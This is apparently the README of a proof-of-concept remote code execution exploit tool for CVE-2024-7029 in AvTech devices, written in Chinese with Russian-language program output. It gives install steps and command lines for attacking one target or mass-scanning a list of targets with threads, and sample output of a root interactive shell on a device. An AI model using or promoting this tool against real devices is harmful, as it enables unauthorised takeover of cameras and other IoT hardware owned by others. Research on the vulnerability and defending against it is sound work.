GenAvTechRCEExploit 一种针对 AvTech 设备中 CVE-2024-7029 漏洞的概念验证漏洞利用工具,允许远程代码执行(RCE)。该工具可以扫描易受攻击的设备并与之交互执行命令。
requests 库prompt_toolkit 库alive_progress 库使用以下命令安装所需库:
pip install -r requirements.txt
要检查单个目标是否存在漏洞并启动交互式 Shell:
python3 GenAvTechRCEExploit.py -u <target_url>
$ python3 GenAvTechRCEExploit.py -u http://192.168.1.100
[*] Выполняется проверка уязвимости цели...
[+] Обнаружена уязвимость на цели: http://192.168.1.100
[*] Запуск интерактивной оболочки...
Shell> whoami
root
Shell> uname -a
Linux avtech-device 4.15.0-45-generic #48-Ubuntu SMP Fri Jan 18 08:54:43 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Shell> exit
[*] Завершение интерактивной оболочки
将 <target_url> 替换为目标设备的实际 URL。
要扫描文件中提供的多个目标(每行一个 URL):
python3 GenAvTechRCEExploit.py -f <file_path>
$ python3 GenAvTechRCEExploit.py -f targets.txt
Scanning Targets |████████████████████████████████████████| 100%
[+] Обнаружена уязвимость на цели: http://192.168.1.50
[+] Обнаружена уязвимость на цели: http://192.168.1.150
[-] Цель http://192.168.1.200 не уязвима
将 <file_path> 替换为包含目标 URL 的文件路径。
你可以使用 -t 选项指定扫描的线程数:
python3 GenAvTechRCEExploit.py -f <file_path> -t <number_of_threads>
默认情况下,线程数为 10。
python3 GenAvTechRCEExploit.py -u http://192.168.1.1
python3 GenAvTechRCEExploit.py -f targets.txt -t 20